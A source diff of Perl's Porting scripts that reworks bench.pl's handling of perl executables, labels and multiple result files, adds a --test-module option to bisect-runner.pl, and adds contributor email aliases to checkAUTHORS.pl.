+                    unless defined $val;
+            }
+
+            if ($switch eq 'args') {
+                $results[-1][3] .= " $val";
+            }
+            else {
+                # --env
+                $val =~ /^(\w+)=(.*)$/
+                    or die "Error: --env is missing =value\n";
+                $results[-1][2]{$1} = $2;
+            }
+
+            next;
         }
+
+        # whatever is left must be the name of an executable
+
+        my ($perl, $label) = split /=/, $item, 2;
+        push @labels, $label;
+        unless ($OPTS{autolabel}) {
+            $label //= $perl;
+            $label = $perl.$label if $label =~ /^\+/;
+        }
+
+        die "Error: duplicate label '$label': "
+                        . "each executable must have a unique label\n"
+            if defined $label && $seen{$label}++;
+
+        die "Error: duplicate label '$label': "
+                        . "seen both in --read file and on command line\n"
+            if defined $label && $seen_from_reads{$label};
+
         my $r = qx($perl -e 'print qq(ok\n)' 2>&1);
-        if ($r eq "ok\n") {
-	    push @res_puts, [ $perl, $label, \%env, reverse @putargs ];
-            @putargs = ();
-            warn "Added Perl-Under-Test: [ @{[@{$res_puts[-1]}]} ]\n"
-                if $OPTS{verbose};
-	} else {
-            warn "perl-under-test args: @putargs + a not-perl: $p $r\n"
-                if $OPTS{verbose};
-            push @putargs, $p; # not-perl
-	}
+        die "Error: unable to execute '$perl': $r\n" if $r ne "ok\n";
+
+        push @results, [ $perl, $label,  { }, '' ];
     }
-    return reverse @res_puts;
+
+    # make args '' by default
+    for (@results) {
+        push @$_, '' unless @$_ > 3;
+    }
+
+    if ($OPTS{autolabel}) {
+
+        # create a list of [ 'perl-path', $i ] pairs for all
+        # $results[$i] which don't have a label
+        my @labels;
+        for (0..$#results)  {
+            push @labels, [ $results[$_][0], $_ ]
+                        unless defined $results[$_][1];
+        }
+
+        if (@labels) {
+            # strip off common prefixes
+            my $pre = '';
+          STRIP_PREFIX:
+            while (length $labels[0][0]) {
+                my $c = substr($labels[0][0], 0, 1);
+                for my $i (1..$#labels) {
+                    last STRIP_PREFIX if substr($labels[$i][0], 0, 1) ne $c;
+                }
+                substr($labels[$_][0], 0, 1)  = '' for 0..$#labels;
+                $pre .= $c;
+            }
+            # add back any final "version-ish" prefix
+            $pre =~ s/^.*?([0-9\.]*)$/$1/;
+            substr($labels[$_][0], 0, 0) = $pre for 0..$#labels;
+
+            # strip off common suffixes
+            my $post = '';
+          STRIP_SUFFFIX:
+            while (length $labels[0][0]) {
+                my $c = substr($labels[0][0], -1, 1);
+                for my $i (1..$#labels) {
+                    last STRIP_SUFFFIX if substr($labels[$i][0], -1, 1) ne $c;
+                }
+                chop $labels[$_][0] for 0..$#labels;
+                $post = "$c$post";
+            }
+            # add back any initial "version-ish" suffix
+            $post =~ s/^([0-9\.]*).*$/$1/;
+            $labels[$_][0] .= $post for 0..$#labels;
+
+            # avoid degenerate empty string for single executable name
+            $labels[0][0] = '0' if @labels == 1 && !length $labels[0][0];
+
+            # if the auto-generated labels are plain integers, prefix
+            # them with 'p' (for perl) to distinguish them from column
+            # indices (otherwise e.g. --norm=2 is ambiguous)
+
+            if ($labels[0][0] =~ /^\d*$/) {
+                $labels[$_][0] = "p$labels[$_][0]" for 0..$#labels;
+            }
+
+            # now de-duplicate labels
+
+            my (%seen, %index);
+            $seen{$read_perls->[$_][1]}++ for 0..$#$read_perls;
+            $seen{$labels[$_][0]}++ for 0..$#labels;
+
+            for my $i (0..$#labels)  {
+                my $label = $labels[$i][0];
+                next unless $seen{$label} > 1;
+                my $d = length($label) ? '-' : '';
+                my $n = $index{$label} // 0;
+                $n++ while exists $seen{"$label$d$n"};
+                $labels[$i][0] .= "$d$n";
+                $index{$label} = $n + 1;
+            }
+
+            # finally, store them
+            $results[$_->[1]][1]= $_->[0] for @labels;
+        }
+    }
+
+
+    return @results;
 }
 
 
 
-# Return a string containing perl test code wrapped in a loop
-# that runs $ARGV[0] times
+# Return a string containing a perl program which runs the benchmark code
+# $ARGV[0] times. If $body is true, include the main body (setup) in
+# the loop; otherwise create an empty loop with just pre and post.
+# Note that an empty body is handled with '1;' so that a completely empty
+# loop has a single nextstate rather than a stub op, so more closely
+# matches the active loop; e.g.:
+#   {1;}    => nextstate;                       unstack
+#   {$x=1;} => nextstate; const; gvsv; sassign; unstack
+# Note also that each statement is prefixed with a label; this avoids
+# adjacent nextstate ops being optimised away.
+#
+# A final 1; statement is added so that the code is always in void
+# context.
+#
+# It the compile flag is set for a test, the body of the loop is wrapped in
+# eval 'sub { .... }' to measure compile time rather than execution time
 
 sub make_perl_prog {
-    my ($test, $desc, $setup, $code) = @_;
+    my ($name, $test, $body) = @_;
+    my ($desc, $setup, $code, $pre, $post, $compile) =
+                                @$test{qw(desc setup code pre post compile)};
 
+    $setup //= '';
+    $pre  = defined $pre  ? "_PRE_: $pre; " : "";
+    $post = defined $post ? "_POST_: $post; " : "";
+    $code = $body ? $code : "1";
+    $code = "_CODE_: $code; ";
+    my $full = "$pre$code$post _CXT_: 1; ";
+    $full = "eval q{sub { $full }};" if $compile;
+
     return <<EOF;
 # $desc
-package $test;
+package $name;
 BEGIN { srand(0) }
 $setup;
 for my \$__loop__ (1..\$ARGV[0]) {
-    $code;
+    $full
 }
 EOF
 }
@@ -659,10 +941,11 @@
 # Handle the 'grind' action
 
 sub do_grind {
-    my ($perl_args) = @_; # the residue of @ARGV after option processing
+    my ($cmd_line_args) = @_; # the residue of @ARGV after option processing
 
-    my ($loop_counts, $perls, $results, $tests, $order);
+    my ($loop_counts, $perls, $results, $tests, $order, @run_perls);
     my ($bisect_field, $bisect_min, $bisect_max);
+    my ($done_read, $processed, $averages, %seen_labels);
 
     if (defined $OPTS{bisect}) {
         ($bisect_field, $bisect_min, $bisect_max) = split /,/, $OPTS{bisect}, 3;
@@ -679,9 +962,11 @@
             if $bisect_min > $bisect_max;
     }
 
-    if ($OPTS{read}) {
-        open my $in, '<:encoding(UTF-8)', $OPTS{read}
-            or die " Error: can't open '$OPTS{read}' for reading: $!\n";
+    # Read in previous benchmark results
+
+    foreach my $file (@{$OPTS{read}}) {
+        open my $in, '<:encoding(UTF-8)', $file
+            or die "Error: can't open '$file' for reading: $!\n";
         my $data = do { local $/; <$in> };
         close $in;
 
@@ -688,21 +973,78 @@
         my $hash = JSON::PP::decode_json($data);
         if (int($FORMAT_VERSION) < int($hash->{version})) {
             die "Error: unsupported version $hash->{version} in file"
-              . "'$OPTS{read}' (too new)\n";
+              . " '$file' (too new)\n";
         }
-        ($loop_counts, $perls, $results, $tests, $order) =
+        my ($read_loop_counts, $read_perls, $read_results, $read_tests, $read_order) =
             @$hash{qw(loop_counts perls results tests order)};
 
-        filter_tests($results);
-        filter_tests($tests);
+        # check file contents for consistency
+        my $k_o = join ';', sort @$read_order;
+        my $k_r = join ';', sort keys %$read_results;
+        my $k_t = join ';', sort keys %$read_tests;
+        die "File '$file' contains no results\n" unless length $k_r;
+        die "File '$file' contains differing test and results names\n"
+            unless $k_r eq $k_t;
+        die "File '$file' contains differing test and sort order names\n"
+            unless $k_o eq $k_t;
 
-        if (!$order) {
-            $order = [ sort keys %$tests ];
+        # delete tests not matching --tests= criteria, if any
+        filter_tests($read_results);
+        filter_tests($read_tests);
+
+        for my $perl (@$read_perls) {
+            my $label = $perl->[1];
+            die "Error: duplicate label '$label': seen in file '$file'\n"
+                if exists $seen_labels{$label};
+            $seen_labels{$label}++;
         }
+
+        if (!$done_read) {
+            ($loop_counts, $perls, $results, $tests, $order) =
+                ($read_loop_counts, $read_perls, $read_results, $read_tests, $read_order);
+            $done_read = 1;
+        }
+        else {
+            # merge results across multiple files
+
+            if (   join(';', sort keys %$tests)
+                ne join(';', sort keys %$read_tests))
+            {
+                my $err = "Can't merge multiple read files: "
+                        . "they contain differing test sets.\n";
+                if ($OPTS{verbose}) {
+                    $err .= "Previous tests:\n";
+                    $err .= "  $_\n" for sort keys %$tests;
+                    $err .= "tests from '$file':\n";
+                    $err .= "  $_\n" for sort keys %$read_tests;
+                }
+                else {
+                    $err .= "Re-run with --verbose to see the differences.\n";
+                }
+                die $err;
+            }
+
+            if ("@$read_loop_counts" ne "@$loop_counts") {
+                die "Can't merge multiple read files: differing loop counts:\n"
+                . "  (previous=(@$loop_counts), "
+                . "'$file'=(@$read_loop_counts))\n";
+            }
+
+            push @$perls, @{$read_perls};
+            foreach my $test (keys %{$read_results}) {
+                foreach my $label (keys %{$read_results->{$test}}) {
+                    $results->{$test}{$label}= $read_results->{$test}{$label};
+                }
+            }
+        }
     }
+    die "Error: --benchfile cannot be used when --read is present\n"
+        if $done_read && defined $OPTS{benchfile};
 
-    if (@$perl_args) {
-        unless ($loop_counts) {
+    # Gather list of perls to benchmark:
+
+    if (@$cmd_line_args) {
+        unless ($done_read) {
             # How many times to execute the loop for the two trials. The lower
             # value is intended to do the loop enough times that branch
             # prediction has taken hold; the higher loop allows us to see the
@@ -709,25 +1051,36 @@
             # branch misses after that
             $loop_counts = [10, 20];
 
-            ($tests, $order) = read_tests_file($OPTS{benchfile});
-            die "Error: only a single test may be specified with --bisect\n"
-                if defined $OPTS{bisect} and keys %$tests != 1;
+            ($tests, $order) =
+                read_tests_file($OPTS{benchfile} // 't/perf/benchmarks');
         }
 
-        my @run_perls= process_puts($perls, @$perl_args);
+        @run_perls = process_executables_list($perls, @$cmd_line_args);
         push @$perls, @run_perls;
-        die "Error: Not enough perls to run a report, and --write not specified.\n"
-            if @$perls < 2 and !$OPTS{write};
-        $results = grind_run($tests, $order, \@run_perls, $loop_counts, $results);
     }
 
+    # strip @$order to just the actual tests present
+    $order = [ grep exists $tests->{$_}, @$order ];
+
+    # Now we know what perls and tests we have, do extra option processing
+    # and checking (done before grinding, so time isn't wasted if we die).
+
     if (!$perls or !@$perls) {
         die "Error: nothing to do: no perls to run, no data to read.\n";
     }
-    # now that we have a list of perls, use it to process the
-    # 'perl' component of the --norm and --sort args
+    if (@$perls < 2 and $OPTS{show} and !$OPTS{raw}) {
+        die "Error: need at least 2 perls for comparison.\n"
+    }
 
+    if ($OPTS{bisect}) {
+        die "Error: exactly one perl executable must be specified for bisect\n"
+            unless @$perls == 1;
+        die "Error: only a single test may be specified with --bisect\n"
+            unless keys %$tests == 1;
+    }
+
     $OPTS{norm} = select_a_perl($OPTS{norm}, $perls, "--norm");
+
     if (defined $OPTS{'sort-perl'}) {
         $OPTS{'sort-perl'} =
                 select_a_perl($OPTS{'sort-perl'}, $perls, "--sort");
@@ -737,6 +1090,17 @@
         $OPTS{'compact'} =
                 select_a_perl($OPTS{'compact'}, $perls, "--compact");
     }
+
+
+    # Run the benchmarks; accumulate with any previously read # results.
+
+    if (@run_perls) {
+        $results = grind_run($tests, $order, \@run_perls, $loop_counts, $results);
+    }
+
+
+    # Handle the 3 forms of output
+
     if (defined $OPTS{write}) {
         my $json = JSON::PP::encode_json({
                     version      => $FORMAT_VERSION,
@@ -752,27 +1116,15 @@
         print $out $json or die "Error: writing to file '$OPTS{write}': $!\n";
         close $out       or die "Error: closing file '$OPTS{write}': $!\n";
     }
-    if (!$OPTS{write} or $OPTS{show}) {
-        if (@$perls < 2) {
-            die "Error: need more than one perl to do a report.\n";
-        }
-        my ($processed, $averages) =
+
+    if ($OPTS{show} or $OPTS{bisect}) {
+        # numerically process the raw data
+        ($processed, $averages) =
                     grind_process($results, $perls, $loop_counts);
+    }
 
-        if (defined $OPTS{bisect}) {
-            my @r = values %$results;
-            die "Panic: expected exactly one test result in bisect\n"
-                                                            if @r != 1;
-            @r = values %{$r[0]};
-            die "Panic: expected exactly one perl result in bisect\n"
-                                                            if @r != 1;
-            my $c = $r[0]{$bisect_field};
-            die "Panic: no result in bisect for field '$bisect_field'\n"
-                                                            unless defined $c;
-            exit 0 if $bisect_min <= $c and $c <= $bisect_max;
-            exit 1;
-        }
-        elsif (defined $OPTS{compact}) {
+    if ($OPTS{show}) {
+        if (defined $OPTS{compact}) {
             grind_print_compact($processed, $averages, $OPTS{compact},
                                 $perls, $tests, $order);
         }
@@ -780,6 +1132,24 @@
             grind_print($processed, $averages, $perls, $tests, $order);
         }
     }
+
+    if ($OPTS{bisect}) {
+        # these panics shouldn't happen if the bisect checks above are sound
+        my @r = values %$results;
+        die "Panic: expected exactly one test result in bisect\n"
+                                                        if @r != 1;
+        @r = values %{$r[0]};
+        die "Panic: expected exactly one perl result in bisect\n"
+                                                        if @r != 1;
+        my $c = $r[0]{$bisect_field};
+        die "Panic: no result in bisect for field '$bisect_field'\n"
+                                                        unless defined $c;
+
+        print "Bisect: $bisect_field had the value $c\n";
+
+        exit 0 if $bisect_min <= $c and $c <= $bisect_max;
+        exit 1;
+    }
 }
 
 
@@ -797,18 +1167,13 @@
     for my $test (grep $tests->{$_}, @$order) {
 
         # Create two test progs: one with an empty loop and one with code.
-        # Note that the empty loop is actually '{1;}' rather than '{}';
-        # this causes the loop to have a single nextstate rather than a
-        # stub op, so more closely matches the active loop; e.g.:
-        #   {1;}    => nextstate;                       unstack
-        #   {$x=1;} => nextstate; const; gvsv; sassign; unstack
         my @prog = (
-            make_perl_prog($test, @{$tests->{$test}}{qw(desc setup)}, '1'),
-            make_perl_prog($test, @{$tests->{$test}}{qw(desc setup code)}),
+            make_perl_prog($test, $tests->{$test}, 0),
+            make_perl_prog($test, $tests->{$test}, 1),
         );
 
         for my $p (@$perls) {
-            my ($perl, $label, $env, @putargs) = @$p;
+            my ($perl, $label, $env, $args) = @$p;
 
             # Run both the empty loop and the active loop
             # $counts->[0] and $counts->[1] times.
@@ -823,7 +1188,7 @@
                             . "valgrind --tool=cachegrind  --branch-sim=yes "
                             . "--cachegrind-out-file=/dev/null "
                             . "$OPTS{grindargs} "
-                            . "$perl $OPTS{perlargs} @putargs - $counts->[$j] 2>&1";
+                            . "$perl $OPTS{perlargs} $args - $counts->[$j] 2>&1";
                     # for debugging and error messages
                     my $id = "$test/$label "
                         . ($i ? "active" : "empty") . "/"
@@ -984,7 +1349,7 @@
 # grind_process(): process the data that has been extracted from
 # cachgegrind's output.
 #
-# $res is of the form ->{benchmark_name}{perl_name}[active][count]{field_name},
+# $res is of the form ->{benchmark_name}{perl_label}[active][count]{field_name},
 # where active is 0 or 1 indicating an empty or active loop,
 # count is 0 or 1 indicating a short or long loop. E.g.
 #
@@ -999,8 +1364,8 @@
 #
 # return \%output, \%averages, where
 #
-# $output{benchmark_name}{perl_name}{field_name} = N
-# $averages{perl_name}{field_name} = M
+# $output{benchmark_name}{perl_label}{field_name} = N
+# $averages{perl_label}{field_name} = M
 #
 # where N is the raw count ($OPTS{raw}), or count_perl0/count_perlI otherwise;
 # M is the average raw count over all tests ($OPTS{raw}), or
@@ -1011,9 +1376,9 @@
 
     # Process the four results for each test/perf combo:
     # Convert
-    #    $res->{benchmark_name}{perl_name}[active][count]{field_name} = n
+    #    $res->{benchmark_name}{perl_label}[active][count]{field_name} = n
     # to
-    #    $res->{benchmark_name}{perl_name}{field_name} = averaged_n
+    #    $res->{benchmark_name}{perl_label}{field_name} = averaged_n
     #
     # $r[0][1] - $r[0][0] is the time to do ($counts->[1]-$counts->[0])
     #                     empty loops, eliminating startup time
@@ -1185,13 +1550,35 @@
 }
 
 
+# format one cell data item
+
+sub grind_format_cell {
+    my ($val, $width) = @_;
+    my $s;
+    if (!defined $val) {
+        return sprintf "%*s", $width, '-';
+    }
+    elsif (abs($val) >= 1_000_000) {
+        # avoid displaying very large numbers (which might be the
+        # result of e.g. 1 / 0.000001)
+        return sprintf "%*s", $width, 'Inf';
+    }
+    elsif ($OPTS{raw}) {
+        return sprintf "%*.1f", $width, $val;
+    }
+    else {
+        return sprintf "%*.2f", $width, $val * 100;
+    }
+}
+
 # grind_print(): display the tabulated results of all the cachegrinds.
 #
 # Arguments are of the form:
-#    $results->{benchmark_name}{perl_name}{field_name} = N
-#    $averages->{perl_name}{field_name} = M
+#    $results->{benchmark_name}{perl_label}{field_name} = N
+#    $averages->{perl_label}{field_name} = M
 #    $perls = [ [ perl-exe, perl-label ], ... ]
 #    $tests->{test_name}{desc => ..., ...}
+#    $order = [ 'foo::bar1', ... ]  # order to display tests
 
 sub grind_print {
     my ($results, $averages, $perls, $tests, $order) = @_;
@@ -1201,103 +1588,103 @@
     my %perl_labels;
     $perl_labels{$_->[0]} = $_->[1] for @$perls;
 
-    my $field_label_width = 6;
-    # Calculate the width to display for each column.
-    my $min_width = $OPTS{raw} ? 8 : 6;
-    my @widths = map { length($_) < $min_width ? $min_width : length($_) }
-    			@perl_labels;
-
     # Print standard header.
     grind_blurb($perls);
 
     my @test_names = sorted_test_names($results, $order, $perls);
 
+    my @fields = qw(Ir Dr Dw COND IND
+                     COND_m IND_m
+                     Ir_m1 Dr_m1 Dw_m1
+                     Ir_mm Dr_mm Dw_mm
+                  );
+
+    if ($OPTS{fields}) {
+        @fields = grep exists $OPTS{fields}{$_}, @fields;
+    }
+
     # If only a single field is to be displayed, use a more compact
     # format with only a single line of output per test.
 
-    my $one_field = defined $OPTS{fields} &&  keys(%{$OPTS{fields}}) == 1;
+    my $one_field = @fields == 1;
 
-    if ($one_field) {
-        print "Results for field " . (keys(%{$OPTS{fields}}))[0] . ".\n";
+    # The width of column 0: this is either field names, or for
+    # $one_field, test names
 
-        # The first column will now contain test names rather than
-        # field names; Calculate the max width.
+    my $width0 = 0;
+    for ($one_field ? @test_names : @fields) {
+        $width0 = length if length > $width0;
+    }
 
-        $field_label_width = 0;
-        for (@test_names) {
-            $field_label_width = length if length > $field_label_width;
-        }
+    # Calculate the widths of the data columns
 
-        # Print the perl executables header.
+    my @widths = map length, @perl_labels;
 
-        print "\n";
-        for my $i (0,1) {
-            print " " x $field_label_width;
-            for (0..$#widths) {
-                printf " %*s", $widths[$_],
-                    $i ? ('-' x$widths[$_]) :  $perl_labels[$_];
+    for my $test (@test_names) {
+        my $res = ($test eq 'AVERAGE') ? $averages : $results->{$test};
+        for my $field (@fields) {
+            for my $i (0..$#widths) {
+                my $l = length grind_format_cell(
+                                    $res->{$perl_labels[$i]}{$field}, 1);
+                $widths[$i] = $l if $l > $widths[$i];
             }
-            print "\n";
         }
     }
 
-    # Dump the results for each test.
+    # Print the results for each test
 
-    for my $test_name (@test_names) {
+    for my $test (0..$#test_names) {
+        my $test_name = $test_names[$test];
         my $doing_ave = ($test_name eq 'AVERAGE');
-        my $res1 = $doing_ave ? $averages : $results->{$test_name};
+        my $res = $doing_ave ? $averages : $results->{$test_name};
 
-        unless ($one_field) {
+        # print per-test header
+
+        if ($one_field) {
+            print "\nResults for field $fields[0]\n\n" if $test == 0;
+        }
+        else {
             print "\n$test_name";
             print "\n$tests->{$test_name}{desc}" unless $doing_ave;
             print "\n\n";
+        }
 
-            # Print the perl executables header.
+        # Print the perl executable names header.
+
+        if (!$one_field || $test == 0) {
             for my $i (0,1) {
-                print " " x $field_label_width;
+                print " " x $width0;
                 for (0..$#widths) {
                     printf " %*s", $widths[$_],
-                        $i ? ('-' x$widths[$_]) :  $perl_labels[$_];
+                        $i ? ('-' x$widths[$_]) : $perl_labels[$_];
                 }
                 print "\n";
             }
         }
 
-        for my $field (qw(Ir Dr Dw COND IND
-                          N
-                          COND_m IND_m
-                          N
-                          Ir_m1 Dr_m1 Dw_m1
-                          N
-                          Ir_mm Dr_mm Dw_mm
-                      ))
-        {
-            next if $OPTS{fields} and ! exists $OPTS{fields}{$field};
+        my $field_suffix = '';
 
-            if ($field eq 'N') {
-                print "\n";
-                next;
-            }
+        # print a line of data
 
+        for my $field (@fields) {
             if ($one_field) {
-                printf "%-*s", $field_label_width, $test_name;
+                printf "%-*s", $width0, $test_name;
             }
             else {
-                printf "%*s", $field_label_width, $field;
+                # If there are enough fields, print a blank line
+                # between groups of fields that have the same suffix
+                if (@fields > 4) {
+                    my $s = '';
+                    $s = $1 if $field =~ /(_\w+)$/;
+                    print "\n" if $s ne $field_suffix;
+                    $field_suffix = $s;
+                }
+                printf "%*s", $width0, $field;
             }
 
             for my $i (0..$#widths) {
-                my $res2 = $res1->{$perl_labels[$i]};
-                my $p = $res2->{$field};
-                if (!defined $p) {
-                    printf " %*s", $widths[$i], '-';
-                }
-                elsif ($OPTS{raw}) {
-                    printf " %*.1f", $widths[$i], $p;
-                }
-                else {
-                    printf " %*.2f", $widths[$i], $p * 100;
-                }
+                print " ", grind_format_cell($res->{$perl_labels[$i]}{$field},
+                                            $widths[$i]);
             }
             print "\n";
         }
@@ -1311,18 +1698,15 @@
 # which perl to display.
 #
 # Arguments are of the form:
-#    $results->{benchmark_name}{perl_name}{field_name} = N
-#    $averages->{perl_name}{field_name} = M
+#    $results->{benchmark_name}{perl_label}{field_name} = N
+#    $averages->{perl_label}{field_name} = M
 #    $perls = [ [ perl-exe, perl-label ], ... ]
 #    $tests->{test_name}{desc => ..., ...}
+#    $order = [ 'foo::bar1', ... ]  # order to display tests
 
 sub grind_print_compact {
     my ($results, $averages, $which_perl, $perls, $tests, $order) = @_;
 
-
-    # the width to display for each column.
-    my $width = $OPTS{raw} ? 7 : 6;
-
     # Print standard header.
     grind_blurb($perls);
 
@@ -1342,31 +1726,48 @@
         @fields = grep exists $OPTS{fields}{$_}, @fields;
     }
 
-    printf " %*s", $width, $_      for @fields;
+    # calculate the the max width of the test names
+
+    my $name_width = 0;
+    for (@test_names) {
+        $name_width = length if length > $name_width;
+    }
+
+    # Calculate the widths of the data columns
+
+    my @widths = map length, @fields;
+
+    for my $test (@test_names) {
+        my $res = ($test eq 'AVERAGE') ? $averages : $results->{$test};
+        $res = $res->{$perls->[$which_perl][1]};
+        for my $i (0..$#fields) {
+            my $l = length grind_format_cell($res->{$fields[$i]}, 1);
+            $widths[$i] = $l if $l > $widths[$i];
+        }
+    }
+
+    # Print header
+
+    printf " %*s", $widths[$_], $fields[$_] for 0..$#fields;
     print "\n";
-    printf " %*s", $width, '------' for @fields;
+    printf " %*s", $_, ('-' x $_) for @widths;
     print "\n";
 
+    # Print the results for each test
+
     for my $test_name (@test_names) {
         my $doing_ave = ($test_name eq 'AVERAGE');
         my $res = $doing_ave ? $averages : $results->{$test_name};
         $res = $res->{$perls->[$which_perl][1]};
+        my $desc = $doing_ave
+            ? $test_name
+            : sprintf "%-*s   %s", $name_width, $test_name,
+                                 $tests->{$test_name}{desc};
 
-        for my $field (@fields) {
-            my $p = $res->{$field};
-            if (!defined $p) {
-                printf " %*s", $width, '-';
-            }
-            elsif ($OPTS{raw}) {
-                printf " %*.1f", $width, $p;
-            }
-            else {
-                printf " %*.2f", $width, $p * 100;
-            }
-
+        for my $i (0..$#fields) {
+            print " ", grind_format_cell($res->{$fields[$i]}, $widths[$i]);
         }
-
-        print "  $test_name\n";
+        print "  $desc\n";
     }
 }
 

Modified: vendor/perl/dist/Porting/bisect-runner.pl
===================================================================
--- vendor/perl/dist/Porting/bisect-runner.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/bisect-runner.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -67,7 +67,7 @@
                   'all-fixups', 'early-fixup=s@', 'late-fixup=s@', 'valgrind',
                   'check-args', 'check-shebang!', 'usage|help|?', 'gold=s',
                   'module=s', 'with-module=s', 'cpan-config-dir=s',
-                  'no-module-tests',
+                  'test-module=s', 'no-module-tests',
                   'A=s@',
                   'D=s@' => sub {
                       my (undef, $val) = @_;
@@ -128,7 +128,9 @@
 }
 
 pod2usage(exitval => 255, verbose => 1)
-    unless @ARGV || $match || $options{'test-build'} || defined $options{'one-liner'} || defined $options{module};
+    unless @ARGV || $match || $options{'test-build'}
+        || defined $options{'one-liner'} || defined $options{module}
+        || defined $options{'test-module'};
 pod2usage(exitval => 255, verbose => 1)
     if !$options{'one-liner'} && ($options{l} || $options{w});
 if ($options{'no-module-tests'} && $options{module}) {
@@ -135,6 +137,14 @@
     print STDERR "--module and --no-module-tests are exclusive.\n\n";
     pod2usage(exitval => 255, verbose => 1)
 }
+if ($options{'no-module-tests'} && $options{'test-module'}) {
+    print STDERR "--test-module and --no-module-tests are exclusive.\n\n";
+    pod2usage(exitval => 255, verbose => 1)
+}
+if ($options{module} && $options{'test-module'}) {
+    print STDERR "--module and --test-module are exclusive.\n\n";
+    pod2usage(exitval => 255, verbose => 1)
+}
 
 check_shebang($ARGV[0])
     if $options{'check-shebang'} && @ARGV && !$options{match};
@@ -615,6 +625,21 @@
 
 =item *
 
+--test-module
+
+This is like I<--module>, but just runs the module's tests, instead of
+installing it.
+
+WARNING: This is a somewhat experimental option, known to work on recent
+CPAN shell versions.  If you use this option and strange things happen,
+please report them.
+
+Usually, you can just use I<--module>, but if you are getting inconsistent
+installation failures and you just want to see when the tests started
+failing, you might find this option useful.
+
+=item *
+
 --cpan-config-dir /home/blah/custom
 
 If defined, this will cause L<CPAN> to look for F<CPAN/MyConfig.pm> inside of
@@ -1398,7 +1423,8 @@
 my $prefix;
 
 # Testing a module? We need to install perl/cpan modules to a temp dir
-if ($options{module} || $options{'with-module'}) {
+if ($options{module} || $options{'with-module'} || $options{'test-module'})
+{
   $prefix = tempdir(CLEANUP => 1);
 
   push @ARGS, "-Dprefix=$prefix";
@@ -1488,12 +1514,40 @@
     system "$options{make} $j $real_target </dev/null";
 }
 
-# Testing a cpan module? See if it will install
-if ($options{module} || $options{'with-module'}) {
+my $expected_file_found = $expected_file =~ /perl$/
+    ? -x $expected_file : -r $expected_file;
+
+if ($expected_file_found && $expected_file eq 't/perl') {
+    # Check that it isn't actually pointing to ../miniperl, which will happen
+    # if the sanity check ./miniperl -Ilib -MExporter -e '<?>' fails, and
+    # Makefile tries to run minitest.
+
+    # Of course, helpfully sometimes it's called ../perl, other times .././perl
+    # and who knows if that list is exhaustive...
+    my ($dev0, $ino0) = stat 't/perl';
+    my ($dev1, $ino1) = stat 'perl';
+    unless (defined $dev0 && defined $dev1 && $dev0 == $dev1 && $ino0 == $ino1) {
+        undef $expected_file_found;
+        my $link = readlink $expected_file;
+        warn "'t/perl' => '$link', not 'perl'";
+        die_255("Could not realink t/perl: $!") unless defined $link;
+    }
+}
+
+my $just_testing = 0;
+
+if ($options{'test-build'}) {
+    report_and_exit($expected_file_found, 'could build', 'could not build',
+                    $real_target);
+} elsif (!$expected_file_found) {
+    skip("could not build $real_target");
+} elsif (my $mod_opt = $options{module} || $options{'with-module'}
+               || ($just_testing++, $options{'test-module'})) {
+  # Testing a cpan module? See if it will install
   # First we need to install this perl somewhere
   system_or_die('./installperl');
 
-  my @m = split(',', $options{module} || $options{'with-module'});
+  my @m = split(',', $mod_opt);
 
   my $bdir = File::Temp::tempdir(
     CLEANUP => 1,
@@ -1526,15 +1580,18 @@
     s/-/::/g if /-/ and !m|/|;
   }
   my $install = join ",", map { "'$_'" } @m;
-  if ($options{'no-module-tests'}) {
+  if ($just_testing) {
+    $install = "test($install)";
+  } elsif ($options{'no-module-tests'}) {
     $install = "notest('install',$install)";
   } else {
     $install = "install($install)";
   }
   my $last = $m[-1];
-  my $shellcmd = "$install; die unless CPAN::Shell->expand(Module => '$last')->uptodate;";
+  my $status_method = $just_testing ? 'test' : 'uptodate';
+  my $shellcmd = "$install; die unless CPAN::Shell->expand(Module => '$last')->$status_method;";
 
-  if ($options{module}) {
+  if ($options{module} || $options{'test-module'}) {
     run_report_and_exit(@cpanshell, $shellcmd);
   } else {
     my $ret = run_with_options({setprgp => $options{setpgrp},
@@ -1549,33 +1606,6 @@
   }
 }
 
-my $expected_file_found = $expected_file =~ /perl$/
-    ? -x $expected_file : -r $expected_file;
-
-if ($expected_file_found && $expected_file eq 't/perl') {
-    # Check that it isn't actually pointing to ../miniperl, which will happen
-    # if the sanity check ./miniperl -Ilib -MExporter -e '<?>' fails, and
-    # Makefile tries to run minitest.
-
-    # Of course, helpfully sometimes it's called ../perl, other times .././perl
-    # and who knows if that list is exhaustive...
-    my ($dev0, $ino0) = stat 't/perl';
-    my ($dev1, $ino1) = stat 'perl';
-    unless (defined $dev0 && defined $dev1 && $dev0 == $dev1 && $ino0 == $ino1) {
-        undef $expected_file_found;
-        my $link = readlink $expected_file;
-        warn "'t/perl' => '$link', not 'perl'";
-        die_255("Could not realink t/perl: $!") unless defined $link;
-    }
-}
-
-if ($options{'test-build'}) {
-    report_and_exit($expected_file_found, 'could build', 'could not build',
-                    $real_target);
-} elsif (!$expected_file_found) {
-    skip("could not build $real_target");
-}
-
 match_and_exit($real_target, @ARGV) if $match;
 
 if (defined $options{'one-liner'}) {

Modified: vendor/perl/dist/Porting/checkAUTHORS.pl
===================================================================
--- vendor/perl/dist/Porting/checkAUTHORS.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/checkAUTHORS.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -190,6 +190,9 @@
         # Randy W. Sims
         "ml-perl\100thepierianspring.org",
 
+        # Jason Hord
+        "pravus\100cpan.org",
+
         # perl internal addresses
         "perl5-porters\100africa.nicoh.com",
         "perlbug\100perl.org",,
@@ -627,6 +630,7 @@
 gbacon\100itsc.uah.edu                  gbacon\100adtrn-srv4.adtran.com
 gerberb\100zenez.com                    root\100devsys0.zenez.com
 gfuji\100cpan.org                       g.psy.va\100gmail.com
+genesullivan50\100yahoo.com             gsullivan\100cpan.org
 gerard\100ggoossen.net                  gerard\100tty.nl
 gibreel\100pobox.com                    stephen.zander\100interlock.mckesson.com
 +                                       srz\100loopback
@@ -692,6 +696,7 @@
 +                                       jpeacock\100jpeacock-hp.doesntexist.org
 +                                       jpeacock\100cpan.org
 +                                       jpeacock\100rowman.com
+james.schneider\100db.com               jschneid\100netilla.com
 jpl.jpl\100gmail.com                    jpl\100research.att.com
 jql\100accessone.com                    jql\100jql.accessone.com
 jsm28\100hermes.cam.ac.uk               jsm28\100cam.ac.uk
@@ -835,6 +840,7 @@
 +                                       otrs\100ubuntu.(none)
 +                                       perl\100renee-baecker.de
 +                                       reb\100perl-services.de
